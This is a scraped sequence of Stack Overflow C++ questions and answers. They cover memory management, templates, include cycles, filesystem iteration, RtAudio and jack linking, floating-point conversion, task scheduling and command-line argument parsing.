I have a CRTP class where for API clarity during refactoring, I want to have a named anonymous struct containing methods, instead of having all methods at class scope. The problem is, these methods need access to the outer scope. For example: template<typename T> class sample_class { public: struct { void do_something() { auto& result = get_ref().something_else(); //get_ref() out of inner struct scope ... } } inner; private: T& get_ref() { return static_cast<T&>(*this); } }; Is there some technique to make this work? Specifically C++14 and gcc7, since I do not believe anonymous structs are technically standard compliant.
A class in another class has no implicit pointer to the enclosing class's this pointer. If you want it to have the pointer to an instance of the enclosing class, explicitly store it. struct { void do_something() { auto& result = p_sample->get_ref().something_else(); //get_ref() out of inner struct scope ... } sample* p_sample; } inner; or pass in a pointer to the methods: void do_something(sample* psample) { auto& result = p_sample->get_ref().something_else(); //get_ref() out of inner struct scope ... } there are ways to use pointer arithmetic to generate what appears to be a pointer to the outer class, but they are trapped with extremely complex and dangerous rules in C++. Other than some access/naming rules and the like, classes defined in other classes are not magic. They could (in theory) exist in other environments; the inner could live on the stack somewhere, not within a sample.
71,117,898
71,118,488
using "new" and "delete" inside class function
I want to be sure that using new and delete to free heap memory is done as needed. Following function returns a char *. Inside each function I use new for the returned value, and I delete afterwards. Is it the right way to free heap memory for function return? const char *myIOT2::_devName() { char *ret = new char[MaxTopicLength2]; if (strcmp(addGroupTopic, "") != 0) { snprintf(ret, MaxTopicLength2, "%s/%s/%s", prefixTopic, addGroupTopic, deviceTopic); } else { snprintf(ret, MaxTopicLength2, "%s/%s", prefixTopic, deviceTopic); } return ret; } const char *myIOT2::_availName() { char *ret = new char[MaxTopicLength2]; const char *DEV = _devName(); snprintf(ret, MaxTopicLength2, "%s/Avail", DEV); delete DEV; return ret; } To point out: the fact the I DEV: const char *DEV = _devName(); in order to use it as a parameter in snprintf(ret, MaxTopicLength2, "%s/Avail", DEV); just to be able to delete it later as delete DEV; - is this correct?
At least as I see things, you really only have two sane choices here. One is for the caller to handle all the memory management. The other is for the callee to handle all the memory management. But what you're doing right now (callee handles allocation, caller handles de-allocation) is a path to madness and memory leaks. If the caller is going to manage the memory, this all becomes fairly simple: const char *myIOT2::_devName(char *ret, size_t maxlen) { if (strcmp(addGroupTopic, "") != 0) { snprintf(ret, maxlen, "%s/%s/%s", prefixTopic, addGroupTopic, deviceTopic); } else { snprintf(ret, maxlen, "%s/%s", prefixTopic, deviceTopic); } return ret; } If the callee is going to handle all the memory management, you'd normally use std::string. Since you're on an Arduino, however, std::string isn't available, and you need to use their own String class instead. Either way, you simply allocate a String object and put your contents into it. It takes care of the actual memory allocation to hold the contents, and will free its contents when the String object is destroyed. Given the small amount of memory normally available on an Arduino, having the caller allocate the memory is usually going to work out better. But (especially if this is something that doesn't happen very often, so you won't run into heap fragmentation problems) allocating space on the heap can work reasonably well also. But I'll repeat: trying to mix memory management so the callee allocates and the caller deletes...is the stuff of nightmares. When you read about C++ circa 1993, and hear about lots of problems with memory leaks...this is exactly the sort of thing that led to them.
71,118,349
71,118,448
How to handle and iterate through this list?
I have this type of list: std::list<MyClass*>* I want to iterate through this list and I also want to call the methods of MyClass, I want to do something like this: std::list<MyClass*>* elements; for (?) { std:: cout << elements[i]->Membermethod(); << std::endl; } How can I do it?
std::list<MyClass*>* elements; for (auto it = elements->begin(); it != elements->end(); ++it) { std::cout << (*it)->Membermethod() << std::endl; } note that its highly recommend not to put raw pointers in collections, use std::shared_ptr or std::unique_ptr Much cleaner (also in c++11) is a 'ranged for' for (auto pel : *elements) { std::cout << (*pel)->Membermethod() << std::endl; }
71,118,564
71,118,789
Check if folders name starts with certain string
Hello so basically what i want is to loop through all folders in a given directory and find a folder which contains 4p in it´s name for (const auto& folderIter : filesystem::directory_iterator(roaming)) { if (folderIter.path() == folderIter.path().string().contains("4p") != std::string::npos) { filesystem::remove(folderIter.path()); } } But this code does not work
Since you told: im trying to find a folder which starts with the name 4p. Nothing more Does this meet your demands?: #include <iostream> #include <vector> using namespace std; int main () { std::vector < std::string > _strings; // adding some elements to iterate over the vector _strings.emplace_back ("4p_path"); _strings.emplace_back ("4p_path1"); _strings.emplace_back ("3p_path"); _strings.emplace_back ("4p_path2"); _strings.emplace_back ("2p_path"); _strings.emplace_back ("4p_path3"); for (const auto & p:_strings) { std::string first_two = p.substr (0, 2);// 0 = begin, 2 = end if (first_two == std::string ("4p")) // I assume 4p as suffix { std::cout << "4p\n"; } else { std::cout << "not 4p\n"; } } return 0; } Since you said that I have to find exact folders that have 4p suffixes, I should add this one: #include <string> #include <iostream> #include <filesystem> namespace fs = std::filesystem; int main() { std::vector < std::string > _Folders; std::string path = "F:\\MyMusicProjects";// your directory // get the name of all folders and add it into folders vector for (const auto& entry : fs::directory_iterator(path)) { _Folders.emplace_back(std::string(entry.path().filename().string())); } // iterate over folders for (const auto& p : _Folders) { // p variable is the folder name and we compare it to check wheter it starts with 4p or not if (p.substr(0, 2) == "4p") std::cout << "found\t" << path << "\\" << p << "\n"; else std::cout << "was not 4p\t" << path<< "\\" << p << "\n"; // don't forget, p is the folder name, to get full path as string: // std::string fullPath = path+"\\"+p; } return 0; }
71,118,715
71,119,538
Is there an elegant way of parsing a byte buffer of dynamic length into a struct?
Background As sketched up here https://godbolt.org/z/xaf95qWee (mostly same as code below), I am consuming a library that offers a shared memory ressource in form of a memory-mapped file. For statically sized messages the read method can very elegantly return a struct (that matches the buffer's layout) and the client has a nice typed interface, without having to worry about the internals. template<typename DataType> struct Message{ //Metadata std::uint32_t type; std::uint32_t error; DataType data; }; struct FixedLengthData{ std::int32_t height; std::int32_t age; }; MessageType Read(){ MessageType msg; std::memcpy(&msg, rawBuffer, sizeof msg); return msg; } const auto receivedMsg = Read<Message<FixedLengthData>>(); Problem / Question However, some data payloads constitute dynamic arrays, encoded as such that the buffer contains the size of the array S (i.e. the number of entries) followed by S entries of some known type (usually ints). Thus an example might look like this: [type|type|error|error|size(e.g.4)|elem|elem|elem|elem|undef|...] I was wondering, whether there is a similarly elegant way of reading in this dynamic structure where the size is only known whenever the msg is received. struct DynamicLengthData{ std::uint32_t size; std::array<std::int32_t, size> data; //obviously doesn't work. }; What I have considered One idea is to define the dynamic data with a std::vector member. The "problem" with this approach is that the vector's data is on the heap, not the stack. Thus "direct" initialization won't work. Of course I could define the struct without the vector up until the size member. Then in a second step read the size and specifically read that many ints from the buffer, starting at the offset. But I was looking for a way without this second step. struct StaticPartOfDynamicData{ //possibly other members std::uint32_t size; }; const auto msg = Read<Message<StaticPartOfDynamicData>>(); std::vector<std::int32_t> dynamicData; // for 0 to msg.data.size fill vector by reading from buffer at offset sizeof(type + error + otherData + size) Another idea: Because the buffer has a maximum size, I could create a c-array member that is as large as possible. This will be able to be directly initialized, but most of the array will be empty which does not sound efficient (I know not to optimize prematurely but this is mostly a theoretical question at this point and not for a production system).
A example of how i handle it in my code. class packet { public: packet(absl::Span<const char> data) { auto current = data.data(); std::memcpy(&length_, current, sizeof(length_)); std::advance(current, sizeof(length_)); vec_.reserve(length_); vec_.assign(current, current + length_); } //public stuff as needed private: std::vector<char> vec_{}; uint16_t length_{}; //...other members }; to deserialize the object all you have to do is something like packet{{data_ptr, data_len}}; I have a helper function that removes a lot of the duplication and boilerplate of deserializing multiple members, but its not important to the example. This should fit nicely into your read method MessageType Read(){ return MessageType{{rawBuffer, sizeof msg}}; }
71,119,125
71,120,027
#include recursion with template
I have problem like there Why can templates only be implemented in the header file? (and there Correct way of structuring CMake based project with Template class) but with include recursion. Code: A.h #pragma once #include "B.h" struct A { B b; void doThingA() {} }; B.h #pragma once struct A; struct B { A *a; template<typename T> void doThingB(); }; #include "A.h" template<typename T> void B::doThingB() { a->doThingA(); } main.cpp #include "A.h" int main() {} Error: In file included from A.h:2, from main.cpp:1: B.h: In member function 'void B::doThingB()': B.h:16:6: warning: invalid use of incomplete type 'struct A' 16 | a->doThingA(); | ^~ B.h:2:8: note: forward declaration of 'struct A' 2 | struct A; | ^ B.h includes from A.h but A.h required by template function implementation in B.h does not. I'm also cannot take implementation to an .cpp because of template. It's possible to solve by using explicit instantiation of templates but I'm wondering for another solution.
When you have types that are this tightly coupled, the simplest solution is to put them in a single header file. #pragma once // forward declaration of A struct A; // declare B, since A needs it struct B { A *a; template<typename T> void doThingB(); }; // now we can declare A struct A { B b; void doThingA() {} }; // and finally, implement the parts of B that need A // and need to be in the header template<typename T> void B::doThingB() { a->doThingA(); } If you still want a B.h, then it can be a single line: #include "A.h" If you want to split A/B into multiple headers for your own organization, a simple solution is to add compile-time checks to ensure the files aren't included directly. // A.h #pragma once #define A_IMPL #include "B_impl.h" #undef A_IMPL // B.h #pragma once #ifndef A_IMPL #error "B_impl.h can't be included directly; use A.h" #endif struct A; struct B { A *a; template<typename T> void doThingB(); }; #include "A_impl.h" template<typename T> void B::doThingB() { a->doThingA(); } // A_impl.h #pragma once #ifndef A_IMPL #error "A_impl.h can't be included directly; use A.h" #endif struct A { B b; void doThingA() {} }; You can make the #ifdef checks more complicated if you want more of your headers to use the impl files directly, but the public interface remains blissfully unaware.
71,119,635
71,125,240
How to accurately multiply a COleCurrency by a double?
I have a COleCurrency object that represents a unit price. And I have a double value that represents a quantity. And I need to calculate the total dollar amount to the nearest penny. Looks like COleCurrency has built in multiplication operators, but only for multiplication with a long value. I can multiply COleCurrency.m_cur.int64 by the double, but that converts the double to __int64 so it wouldn't be accurate. What is the best way to accurately multiply a COleCurrency by a double?
Finite binary floating point values form a proper subset of finite decimal values. While any given floating point value has an exact, finite representation in decimal, the opposite isn't true. In other words, not every decimal can be represented using a finite binary floating point value. A simple example is 0.1 that produces an infinite sequence of binary digits when converted to a binary floating point value. The important point here is that if you are dealing with fractional values, using binary floating point values to represent them will in general introduce inaccuracies (with very few exceptions, such as 0.5). The only way to perform accurate multiplications with an integer value is to use an integer as the multiplicand. Since you have opted to use a floating point value the only thing you can do is limit the inaccuracies. The proposed solution: __int64 x = currency.m_cur.int64 * (__int64)dbl; suffers from the same "possible loss of data" issue the compiler warned about. Since you're now using an explicit cast, this silences the compiler. The effect is still the same: The floating point value gets truncated. A better approach would be to convert the 64-bit integer value to a double first. This produces an exact floating point representation of the integer value, provided that it is within range (roughly +/- 1e15). You can then multiply with another floating point value (which is subject to rounding errors), and finally round the result using, e.g., std::llround: __int64 x = std::llround(static_cast<double>(currency.m_cur.int64) * dbl);
71,119,662
71,119,700
Why is my input validation function not working? (C++)
I'm writing a program that calculates the cost of a purchase based on user input. If the user uses negative or otherwise invalid values for price and quantity the program should print an error and ask again. #include <iostream> #include <string> #include <cmath> #include <limits> #include <algorithm> using namespace std; bool validatePrice(const string& str) { if (str.find_first_not_of("0123456789.") != string::npos) { return false; } else if (stof(str) <= 0.0) { return false; } else { return true; } } bool validateQuantity(const string& str) { if (all_of(str.begin(), str.end(), ::isdigit)) { if (stoi(str) < 1) { return false; } else { return true; } } else { return false; } } int main() { const float NYTAX = .0875; string p; string q; float price = -1; int quantity = -1; float subTotal; float total; cout << "enter price: "; while (price == -1) { cin >> p; if (!(validatePrice(p))) { cout << "error, try a positive number.\n"; cout << "enter price: "; } else { price = stof(p); } } cout << "enter quantity: "; while (quantity == -1) { cin >> q; if (!(validateQuantity(q))) { cout << "error, try a positive whole number.\n"; cout << "enter quantity: "; } else { quantity = stoi(q); } } subTotal = price * quantity; total = (round(subTotal + (subTotal * NYTAX)) * 100) / 100; cout << "Your total is " << total; } My problem is twofold. Should I type in "3.00 d" for price, the console prints this: enter quantity: error, try a positive whole number enter quantity: "3.00 d" has a space and an alphabetical character, so str.find_first_not_of() should return 5. Thus my if condition in validatePrice() should evaluate to false, no? Part two to this issue is that validateQuantity() is called even though the console should be waiting for me to enter quantity first. This only happens when I mess up the price. Any other amendments to my code (best practices, simplify) would be appreciated.
std::cin << string by default reads up to the first whitespace. Note that if you print str inside validatePrice(), it won't be the full input you specified. You should use std::getline() instead to read an entire line.
71,119,822
71,120,354
Every partition of a number using recursion
While doing some backtracking exercises, got stuck here: Write a recursive algorithm that generates all partitions of a given n numbers. Of the partitions that differ only in the order of the members, we need to list only one, the last from a lexicographic point of view. Write the solutions lexicographically in ascending order. 1 <= n <= 100 n = 5 would be: 1 1 1 1 1 2 1 1 1 2 2 1 3 1 1 3 2 4 1 5 I searched over the web for solutions and found this, but it's not quite right and I don't know how to perfect it. First of all it's not in lexicographical order, and doesn't include the actual number. So for 5 it outputs: 1 1 1 1 1 1 1 1 2 1 1 3 1 2 2 1 4 2 3 Here is my code, where I tried to correct it, it's better, but still not exactly the way the example is.. #include <iostream> #include <vector> using namespace std; void print(const vector<vector<int>>& output) { for(int i = 0; i < output.size(); ++i){ for(int j = output[i].size()-1; j >= 0; --j){ cout << output[i][j] << " "; } cout << endl; } } void iteration(int n, int current_sum, int start, vector<vector<int>>& output, vector<int>& result) { if (n == current_sum) { output.push_back(result); } for (int i = start; i < n; i++) { int temp = current_sum + i; if (temp <= n) { result.push_back(i); iteration(n, temp, i, output, result); result.pop_back(); } else { return ; } } } void decompose(int n) { vector<vector<int>> output; vector<int> result; iteration(n, 0, 1, output, result); print(output); cout << n << endl; return ; } int main() { int n = 5; decompose(n); return 0; } So, now the output is: 1 1 1 1 1 2 1 1 1 3 1 1 2 2 1 4 1 3 2 5 So, the 2 2 1 and 3 2 is in the wrong place.. And the bigger the "n" number is, the bigger the mess.. Can someone help?
When you get more practice programming, you'll learn how to keep things simple: #include <iostream> #include <vector> void decompose(int n, std::vector<int> prefix = {}) { if (n == 0) { for (int a : prefix) { std::cout << a << ' '; } std::cout << std::endl; } else { int max = prefix.size() ? std::min(prefix.back(), n) : n; prefix.push_back(1); for (int i = 1; i <= max; i++) { prefix.back() = i; decompose(n - i, prefix); } } } int main() { decompose(5); }
71,119,882
71,119,976
Can std::filesystem::permissions change secure file permissions
I have been experimenting, with the std::filesystem and I came across the permissions function, which allows you to change the access permissions that users have to files. This seems almost like it could be a bad thing though because anyone can run a program and gain access to files that they shouldn't. Is this how it works? Can any program access any file and change its permissions. Or can the program only change permissions of files that it 'owns'?
The operating system kernel is responsible for enforcing access control, and such enforcement applies to all programs, regardless of what APIs they use. On a Unix-like operating system, a process can only change file permissions if: the process's effective user ID matches the file's owner, or the process has the CAP_FOWNER capability (which is normally only held by root). As such, when you compile and run a program that uses std::filesystem::permissions, it is subject to the above restrictions and will not be able to mess with the permissions of other users' files willy-nilly. A call to std::filesystem::permissions that attempts to violate the above restrictions will not succeed, and (hopefully) will report an error as described here.
71,119,956
71,124,648
Passing the standard output of function A as the argument of function B in C++
I'm starting C++ and I'd like to code a linker I first did a tokenizer executable that takes as an input a file and print in the standard output the list of its tokens %./tokenizer input_file Token 1 : 3 Token 2 : X token 3 : 10 etc ... Then, I programmed a linker executable that takes as an input a token file and print in the standard output the symbol table and memory map. %./tokenizer input_file > temp %./linker temp Symbol Table : X=10 etc ... Memory Map : 000: 1002 etc ... Now, my goal is to have a single executable that takes the input file "INPUT" and prints in the standard output the symbol table and memory map. It is important for me to respect this format. I want : %./linker input_file Symbol Table : X=10 etc ... Memory Map : 000: 1002 etc ... For now, I've copied the main() of the tokenizer inside the .cc of the linker (under a different name of course) but I don't know what to do next. For example I'd like my code to basically look like : (i precise ifstream because that's how I wrote my code so it would help me to keep it that way) int getTokens(char* file[]) { string token; ifstream _file (file); doStuff(_file); .... cout << token << endl; .... } int main(int argc, char argv*[]) { char* input_file[] = argv[1]; ifstream tokenFile = convertCoutToIFSTREAM(getTokens(input_file)) doOtherStuff(tokenFile); ... cout << linkResults << endl; I could make a shell script where I first run the tokenizer, saves its output in a file then run the linker on it but I'd like to find a way where I do not have to create a file in between. Thank you very much for your help
A simple way would be to use streams You have to change void getTokens(char* file[]) { string token; ifstream _file (file); doStuff(_file); // .... cout << token << endl; // .... } into void getTokens(std::istream& in, std::ostream& out) { doStuff(in); // .... out << token << endl; // .... } And then you can chain the call. (not a real pipe, as whole function has to be finished before the other begins). void tokenizer(std::istream& in, std::ostream& out); void linker(std::istream& in, std::ostream& out); int main(int argc, char* argv[]) { assert(argc > 1); std::ifstream in(argv[1]); std::stringstream ss; tokenizer(in, ss); linker(ss, std::cout); } Demo
71,119,987
71,120,036
How references can bind to prvalues?
cppreference says that: a temporary object is created when a reference is bound to prvalue. Do they mean const lvalue references and rvalue references?: Temporary objects are created when a prvalue is materialized so that it can be used as a glvalue, which occurs (since C++17) in the following situations: binding a reference to a prvalue If they mean that, does rvalue references and const lvalue reference bound to prvalues of same type creates a temporary? I mean, does this is happening: const int &x = 10; // does this creates temporary? int &&x2 = 10; // does this creates temporary?
The only references that are allowed to bind to object rvalues (including prvalues) are rvalue references and const non-volatile lvalue references. When such a binding occurs to a prvalue, a temporary object is materialized. Temporary materialization thus occurs in both of the OP's examples: const int &x = 10; int &&x2 = 10; The first temporary (with value 10) will be destroyed when x goes out of scope. The second temporary (also with value 10, although its value can be modified using x2) will be destroyed when x2 goes out of scope.
71,120,169
71,125,539
Bit shifting a half-float into a float
I have no choice but to read in 2 bytes that make up a half-float. I would like to work with this in the form of a 4 byte float. Ive done some research and the only thing I can come up with is bit shifting. My only issues is that I dont fully understand how to grab only a few bits and put them into the float. I have this function, but it does not work. float ToShortFloat(char v1, char v2) { float f = ((v1 << 6) | (0x00) << 3 | (v1 >> 2) | v2 | (0x00) << 13); return f; } this is the 16 bite (2 byte) structure and this is your typical 32 bit (4 byte) float If your going to write code for me, please go into good detail about it. I want to understand whats really happening with the bit operators and bit placement.
Here is code demonsrating the 16-bit floating-point to 32-bit floating-point conversion plus a test program. The test program requires Clang’s __fp16 type, but the conversion code does not. Handling of NaN payloads and signaling/non-signaling semantics is not tested. #include <stdint.h> // Produce value of bit n. n must be less than 32. #define Bit(n) ((uint32_t) 1 << (n)) // Create a mask of n bits in the low bits. n must be less than 32. #define Mask(n) (Bit(n) - 1) /* Convert an IEEE-754 16-bit binary floating-point encoding to an IEEE-754 32-bit binary floating-point encoding. This code has not been tested. */ uint32_t Float16ToFloat32(uint16_t x) { /* Separate the sign encoding (1 bit starting at bit 15), the exponent encoding (5 bits starting at bit 10), and the primary significand (fraction) encoding (10 bits starting at bit 0). */ uint32_t s = x >> 15; uint32_t e = x >> 10 & Mask( 5); uint32_t f = x & Mask(10); // Left-adjust the significand field. f <<= 23 - 10; // Switch to handle subnormal numbers, normal numbers, and infinities/NaNs. switch (e) { // Exponent code is subnormal. case 0: // Zero does need any changes, but subnormals need normalization. if (f != 0) { /* Set the 32-bit exponent code corresponding to the 16-bit subnormal exponent. */ e = 1 + (127 - 15); /* Normalize the significand by shifting until its leading bit moves out of the field. (This code could benefit from a find-first-set instruction or possibly using a conversion from integer to floating-point to do the normalization.) */ while (f < Bit(23)) { f <<= 1; e -= 1; } // Remove the leading bit. f &= Mask(23); } break; // Exponent code is normal. default: e += 127 - 15; // Adjust from 16-bit bias to 32-bit bias. break; // Exponent code indicates infinity or NaN. case 31: e = 255; // Set 32-bit exponent code for infinity or NaN. break; } // Assemble and return the 32-bit encoding. return s << 31 | e << 23 | f; } #include <inttypes.h> #include <math.h> #include <stdio.h> #include <stdlib.h> int main(void) { // Use unions so we can iterate and manipulate the encodings. union { uint16_t enc; __fp16 value; } x; union { uint32_t enc; float value; } y; // Iterate through all 16-bit encodings. for (uint32_t i = 0; i < Bit(16); ++i) { x.enc = i; y.enc = Float16ToFloat32(x.enc); if (isnan(x.value) != isnan(y.value) || !isnan(x.value) && x.value != y.value) { printf("Failure:\n"); printf("\tx encoding = 0x%04" PRIx16 ", value = %.99g.\n", x.enc, x.value); printf("\ty encoding = 0x%08" PRIx32 ", value = %.99g.\n", y.enc, y.value); exit(EXIT_FAILURE); } } } As chtz points out, we can using 32-bit floating-point arithmetic to handle the scaling adjustment for both normal and subnormal values. To do this, replace the code in Float16ToFloat32 after f <<= 23 - 10; with: // For infinities and NaNs, set 32-bit exponent code. if (e == 31) return s << 31 | 255 << 23 | f; /* For finite values, reassemble with shifted fields and using a floating-point multiply to adjust for the changed exponent bias. */ union { uint32_t enc; float value; } y = { .enc = s << 31 | e << 23 | f }; y.value *= 0x1p112f; return y.enc;
71,120,672
71,120,707
Returning a generated vector in C++
Three C++ functions that create a vector and return: vector<int> generate_vector_v(int n) { vector<int> foo; for (int i = 0; i < n; i++) { foo.push_back(i); } return foo; } vector<int>* generate_vector_p(int n) { static vector<int> foo; for (int i = 0; i < n; i++) { foo.push_back(i); } return &foo; } vector<int>* generate_vector_m(int n) { auto foo = (vector<int>*) malloc(sizeof(vector<int>) * n); for (int i = 0; i < n; i++) { (*foo).push_back(i); } return foo; } (I'm not sure if everything is fine with generate_vector_m().) Are there differences in terms of memory efficiency and run-time speed? In general, if I want to write a function that creates an object and returns it, what is the preferred way? Should I write something like void fill_vector(vector<int>& foo, int n) instead of all above? I want to make sure that the vector is just created once in the memory without making any copies.
generate_vector_m The behaviour of the program is undefined, and it returns a bare owning pointer which would probably lead to a memory leak, and it is slow due to unnecessary use of dynamic memory. Don't use it. generate_vector_p appends more and more elements into a single static vector on every call. That's not often useful; global state is problematic. There's also some marginal overhead from synchronisation. generate_vector_v is fine. I would use std::iota, but a loop is OK too.
71,120,714
71,120,797
Linking with jack using qmake
I have two similar projects on the same machine. Their difference is that one is using GUI (Qt and Qwt) and the other is not. As the result, the one that has Qt is using qmake to compile and the other one cmake. The project itself is about signal processing and working with audio. I decided to use RtAudio for capturing audio signal. I can compile and run the example code fine when I'm compiling with cmake but when I try to compile the other project using qmake, it fails. The problem is jack (audio library) which is not found when compiling using qmake. But first, let's start with the project that works. Here's what I have in my CMakeLists.txt file: cmake_minimum_required(VERSION 3.18) project(cli_test) set(CMAKE_CXX_STANDARD 17) add_executable(cli_test main.cpp) set(THREADS_PREFER_PTHREAD_FLAG ON) find_package(Threads REQUIRED) target_link_libraries(arecord PRIVATE Threads::Threads) target_link_libraries(arecord PRIVATE ${CMAKE_CURRENT_SOURCE_DIR}/fftw/lib/libfftw3.a) include_directories(./rtaudio/include/rtaudio) #list(GET LIB_TARGETS 0 LIBRTAUDIO) set(LINKLIBS) list(APPEND LINKLIBS ${ALSA_LIBRARY}) list(APPEND INCDIRS ${ALSA_INCLUDE_DIR}) target_link_libraries(cli_test ${CMAKE_CURRENT_SOURCE_DIR}/rtaudio/lib/librtaudio.a ${LINKLIBS}) target_link_libraries(cli_test PRIVATE Threads::Threads) target_link_libraries(cli_test PRIVATE jack) target_link_libraries(cli_test PRIVATE /usr/lib/libasound.so) target_link_libraries(cli_test PRIVATE /usr/lib/libpulse.so) target_link_libraries(cli_test PRIVATE /usr/lib/libpulse-simple.so) (which again, works just fine). Then I got this one for qwt_test.pro: CONFIG += c++1z c++14 INCLUDEPATH += . INCLUDEPATH += $${PWD}/rtaudio/include/rtaudio LIBS += $${PWD}/fftw/lib/libfftw3.a LIBS += $${PWD}/rtaudio/lib/librtaudio.a LIBS += jack LIBS += /usr/lib/libasound.so LIBS += /usr/lib/libpulse.so LIBS += /usr/lib/libpulse-simple.so TARGET = qwt_test SOURCES = \ main.cpp The error that I get is: linking ../bin/qwt_test /usr/bin/ld: cannot find jack: No such file or directory collect2: error: ld returned 1 exit status My question is, how can I link my project that is using qmake with jack?
To let qmake know where to find the lib please add LIBS += -L"where-you-have-jack-lib" -ljack
71,121,321
71,166,169
Making RtAudio use jack for audio capture
I'm trying to use RtAudio in Linux. To start, I've compiled it with jack enabled: $ ./configure --with-alsa --with-jack $ make $ make install Then I found a small example to test RtAudio out: #include "RtAudio.h" #include <iostream> #include <cstdlib> #include <cstring> int record( void *outputBuffer, void *inputBuffer, unsigned int nBufferFrames, double streamTime, RtAudioStreamStatus status, void *userData ) { if ( status ) std::cout << "Stream overflow detected! size:" << nBufferFrames << std::endl; // Do something with the data in the "inputBuffer" buffer. return 0; } int main( int argc, char* argv[] ) { RtAudio adc; if ( adc.getDeviceCount() < 1 ) { std::cout << "\nNo audio devices found!\n"; exit( 1 ); } adc.showWarnings( true ); RtAudio::StreamParameters parameters; parameters.deviceId = adc.getDefaultInputDevice(); parameters.nChannels = 2; parameters.firstChannel = 0; unsigned int sampleRate = 44100; unsigned int bufferFrames = 256; // 256 sample frames try { adc.openStream( NULL, &parameters, RTAUDIO_SINT16, sampleRate, &bufferFrames, &record ); adc.startStream(); } catch ( RtAudioError& e ) { e.printMessage(); if ( adc.isStreamOpen() ) adc.closeStream(); exit( 1 ); } char input; std::cout << "\nRecording ... press <enter> to quit.\n"; try { // Stop the stream adc.stopStream(); } catch (RtAudioError& e) { e.printMessage(); if ( adc.isStreamOpen() ) adc.closeStream(); } return 0; } This example doesn't do anything special. It will just try to record some audio and it doesn't even wait for it to capture anything and it will quit right away. For the first time that I run this code, it runs and quits without any errors. But the second time forth, it will error out: $ ./test RtApiAlsa::getDeviceInfo: snd_pcm_open error for device (hw:0,3), Device or resource busy. RtApiAlsa::getDeviceInfo: snd_pcm_open error for device (hw:2,0), Device or resource busy. Recording ... press <enter> to quit. If I want to get rid of this error, I have to restart the machine. I must confess that sometimes, it works again with a restart. But for the most part, it errors out. As I've been trying to understand what the problem is, it seems like in Linux jack could be used to make sure that no software will hold on to the audio resource and multiple processes could use the audio resource at the same time. If that's the case, considering the fact that I've compiled the RtAudio with jack enabled, why I'm still facing this error and how can I fix it? BTW, even when my code is facing this error, arecord can record sound without any issues.
For anyone else who might be dealing with the same problem, here is how I fixed it: $ ./configure --with-alsa --with-jack --with-pulse $ make $ make install
71,121,474
71,126,795
How to implement C++ Task Scheduler
I Know the following code is not Task Scheduler Perhaps However, trying to get your valuable comments in understanding the scheduler I am trying to understand & come up with a bare minimum code which can be called as TaskScheduler. I have the following code but am not sure if it suffices as scheduling. Could someone provide the comments & code skeleton reference or links? Thanks!! #include <iostream> #include <thread> #include <future> #include <queue> #include <mutex> #include <condition_variable> using namespace std; int factorial_loc(int val) { int res = 1; while(val>0) { res *= val; val--; } return res; } queue<packaged_task<int()>> q; mutex mtx; condition_variable cond; void thread_1() { unique_lock<mutex> ul(mtx); cond.wait(ul, [](){ return !q.empty(); }); auto f = std::move(q.front()); q.pop(); f(); } void run_packaged_task() { packaged_task<int(int)> t(factorial_loc); packaged_task<int()> t2(std::bind(factorial_loc, 4)); future<int> f = t2.get_future(); thread t1(thread_1); { unique_lock<mutex> ul(mtx); q.push(std::move(t2)); } cond.notify_one(); cout<<"\n Res: "<<f.get(); t1.join(); }
I have the following code but am not sure if it suffices as scheduling. Why not just do this? void run_packaged_task() { cout << "\n Res: " << factorial_loc(4); } Maybe you think that my version of run_packaged_task() is not a scheduler. Well, OK. I don't think so either. But, as far as the caller can tell, my version does exactly the same as what your version does; It computes the factorial of 4, It writes the result to cout, And then, only when that's done, it returns. Your code contains some of the pieces of a scheduler; a thread, a queue, a data type that represents a task, but you don't use any of those pieces to do anything that looks like scheduling. IMO, you need to think about what "scheduler" means. What do you expect a scheduler to do? Should a scheduler execute each task as soon as possible? Or, if not, then when? How does the caller say when? How does the scheduler defer execution of the task until such time? Should the caller have to wait until the task is completed? Should the caller have an option to wait? I don't know exactly what you mean by "scheduler," but if my guess is correct, then it would have somewhat in common with a thread pool. Maybe you could get some traction if you start by searching for examples of how to implement a simplistic thread pool, and then think about how you could "improve" it to make a "scheduler."
71,121,527
71,121,645
How to get correct number from args?
I write an application, which get a number from args. ex:./app --addr 0x123 or ./app --addr 123 I don't know which api can identify if the parameter is hex or decimal and come up with the correct data? Thanks.
One way of getting the arguments is through argc and argv in int main(int argc, char* argv[]) { // Some code here. return; } This will give you an array with all the arguments as strings. For example: #include <iostream> int main(int argc, char* argv[]) { for (int i{ 0 }; i < argc; i++) std::cout << "Argument " << i << ": " << argv[i] << std::endl; return; } will give you this output $ ./app --addr 0x123 Argument 0: ./app Argument 1: --addr Argument 2: 0x123 Now, parsing the input is a bit more complicated. You could create your own logic to evaluate the arguments once you have the arguments as strings. You could also use libraries. For example, you could use argparse by p-ranav. GitHub repository here. It is an easy to use library so you don't have to worry about positioning of the arguments. Answering you question, how do you know if the input is hex or decimal? You could check if the argument after --addr starts with 0x or not. That could be one way, but you have to also consider the case when someone inputs a hex value without the 0x, like ./app --addr A2C. Also, documenting acceptable formats and printing a --help message can ameliorate this. You have to think about your specific application, but some steps once you have the string after --addr that you could do to check input is: Does it start with 0x? If not, does it contains characters 0-1 and A-F? Is this allowed? Is it in a valid range? For example, 0xFFFFF is 1,048,575. But you may only want addresses up to 0xFFFF (65,535). What should happen in these cases? Hope it helps! P.S.: These are all implementations in C++.